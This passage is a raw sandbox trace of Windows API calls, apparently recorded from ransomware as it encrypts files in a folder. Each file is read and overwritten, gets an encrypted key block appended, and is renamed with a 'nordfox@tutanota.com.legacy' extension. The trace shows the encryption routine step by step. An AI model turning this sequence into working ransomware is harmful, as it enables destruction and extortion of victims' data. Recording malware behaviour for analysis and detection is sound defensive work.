lpMem=0x3329020 | out: hHeap=0x520000) returned 1 [0070.241] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f5113 [0070.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0070.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0070.242] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0070.242] WriteFile (in: hFile=0x454, lpBuffer=0x54d0e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0070.242] CloseHandle (hObject=0x454) returned 1 [0070.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0070.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0e0 | out: hHeap=0x520000) returned 1 [0070.465] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0070.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e300 | out: hHeap=0x520000) returned 1 [0070.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0070.467] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0070.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0070.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0070.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0a0 [0070.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0070.468] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0a0 | out: pbBuffer=0x54d0a0) returned 1 [0070.468] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\watermark.bmp", dwFileAttributes=0x80) returned 1 [0070.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0070.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0070.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0070.468] CreateFileW (lpFileName="\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0070.468] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=104072) returned 1 [0070.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x19688) returned 0x57f150 [0070.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x19688) returned 0x5987e0 [0070.469] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x19688, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x19688, lpOverlapped=0x0) returned 1 [0070.490] SetFilePointer (in: hFile=0x454, lDistanceToMove=-104072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.490] WriteFile (in: hFile=0x454, lpBuffer=0x5987e0*, nNumberOfBytesToWrite=0x19688, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5987e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19688, lpOverlapped=0x0) returned 1 [0070.491] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0070.492] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5987e0 | out: hHeap=0x520000) returned 1 [0070.493] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19688 [0070.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0070.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0070.495] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0070.495] WriteFile (in: hFile=0x454, lpBuffer=0x54d0a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0070.495] CloseHandle (hObject=0x454) returned 1 [0070.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0070.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0a0 | out: hHeap=0x520000) returned 1 [0070.500] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), lpNewFileName="\\588bce7c90097ed212\\watermark.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0070.750] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0070.750] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0070.750] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0070.750] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0070.750] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0070.750] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0070.750] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0070.750] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0070.751] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\UiInfo.xml", dwFileAttributes=0x80) returned 1 [0070.752] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579070 [0070.752] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0070.752] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579070 | out: hHeap=0x520000) returned 1 [0070.752] CreateFileW (lpFileName="\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0070.752] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=38898) returned 1 [0070.752] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x97f2) returned 0x57f150 [0070.752] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x97f2) returned 0x588950 [0070.752] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x97f2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x97f2, lpOverlapped=0x0) returned 1 [0070.760] SetFilePointer (in: hFile=0x454, lDistanceToMove=-38898, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.760] WriteFile (in: hFile=0x454, lpBuffer=0x588950*, nNumberOfBytesToWrite=0x97f2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x588950*, lpNumberOfBytesWritten=0x2e1f9bc*=0x97f2, lpOverlapped=0x0) returned 1 [0070.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0070.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x588950 | out: hHeap=0x520000) returned 1 [0070.763] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x97f2 [0070.763] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0070.763] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0070.765] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0070.765] WriteFile (in: hFile=0x454, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0070.766] CloseHandle (hObject=0x454) returned 1 [0070.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0070.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0070.776] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\UiInfo.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0070.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0070.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0070.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0070.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e78 [0070.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0070.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0070.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0070.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d090 | out: pbBuffer=0x54d090) returned 1 [0070.786] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Strings.xml", dwFileAttributes=0x80) returned 1 [0070.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b18 [0070.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0070.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b18 | out: hHeap=0x520000) returned 1 [0070.787] CreateFileW (lpFileName="\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0070.787] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14084) returned 1 [0070.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3704) returned 0x57f150 [0070.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3704) returned 0x582860 [0070.787] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x3704, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x3704, lpOverlapped=0x0) returned 1 [0070.801] SetFilePointer (in: hFile=0x454, lDistanceToMove=-14084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.802] WriteFile (in: hFile=0x454, lpBuffer=0x582860*, nNumberOfBytesToWrite=0x3704, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582860*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3704, lpOverlapped=0x0) returned 1 [0070.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0070.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582860 | out: hHeap=0x520000) returned 1 [0070.803] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3704 [0070.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0070.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0070.804] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0070.804] WriteFile (in: hFile=0x454, lpBuffer=0x54d090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d090*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0070.804] CloseHandle (hObject=0x454) returned 1 [0070.812] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0070.812] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0070.812] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), lpNewFileName="\\588bce7c90097ed212\\Strings.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\strings.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0070.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0070.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e78 | out: hHeap=0x520000) returned 1 [0070.814] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0070.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d10 [0070.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0070.814] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d090 [0070.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0070.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d090 | out: pbBuffer=0x54d090) returned 1 [0070.814] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\sqmapi.dll", dwFileAttributes=0x80) returned 1 [0070.815] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0070.815] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0070.815] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0070.815] CreateFileW (lpFileName="\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0070.816] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=144416) returned 1 [0070.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23420) returned 0x57f150 [0070.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23420) returned 0x5a2578 [0070.816] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0x23420, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0x23420, lpOverlapped=0x0) returned 1 [0070.862] SetFilePointer (in: hFile=0x454, lDistanceToMove=-144416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.862] WriteFile (in: hFile=0x454, lpBuffer=0x5a2578*, nNumberOfBytesToWrite=0x23420, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a2578*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23420, lpOverlapped=0x0) returned 1 [0070.863] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0070.864] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a2578 | out: hHeap=0x520000) returned 1 [0070.865] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23420 [0070.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0070.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0070.867] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0070.867] WriteFile (in: hFile=0x454, lpBuffer=0x54d090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d090*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0070.867] CloseHandle (hObject=0x454) returned 1 [0070.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0070.871] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d090 | out: hHeap=0x520000) returned 1 [0070.871] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), lpNewFileName="\\588bce7c90097ed212\\sqmapi.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0070.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0070.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0070.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0070.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0070.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0070.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0070.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0070.873] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0070.873] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SplashScreen.bmp", dwFileAttributes=0x80) returned 1 [0070.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0070.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0070.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d710 | out: hHeap=0x520000) returned 1 [0070.874] CreateFileW (lpFileName="\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0070.874] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=41080) returned 1 [0070.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa078) returned 0x57f150 [0070.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa078) returned 0x5891d0 [0070.875] ReadFile (in: hFile=0x454, lpBuffer=0x57f150, nNumberOfBytesToRead=0xa078, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesRead=0x2e1f9bc*=0xa078, lpOverlapped=0x0) returned 1 [0070.975] SetFilePointer (in: hFile=0x454, lDistanceToMove=-41080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0070.975] WriteFile (in: hFile=0x454, lpBuffer=0x5891d0*, nNumberOfBytesToWrite=0xa078, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5891d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa078, lpOverlapped=0x0) returned 1 [0070.975] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0070.977] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5891d0 | out: hHeap=0x520000) returned 1 [0070.979] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa078 [0070.979] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0070.979] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0070.981] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0070.981] WriteFile (in: hFile=0x454, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0070.981] CloseHandle (hObject=0x454) returned 1 [0070.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0070.983] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0070.983] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), lpNewFileName="\\588bce7c90097ed212\\SplashScreen.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0070.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0070.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0070.986] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0070.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0070.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0070.986] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0070.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0070.986] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d190 | out: pbBuffer=0x54d190) returned 1 [0070.986] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SetupUtility.exe", dwFileAttributes=0x80) returned 1 [0070.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0070.987] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0070.987] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: 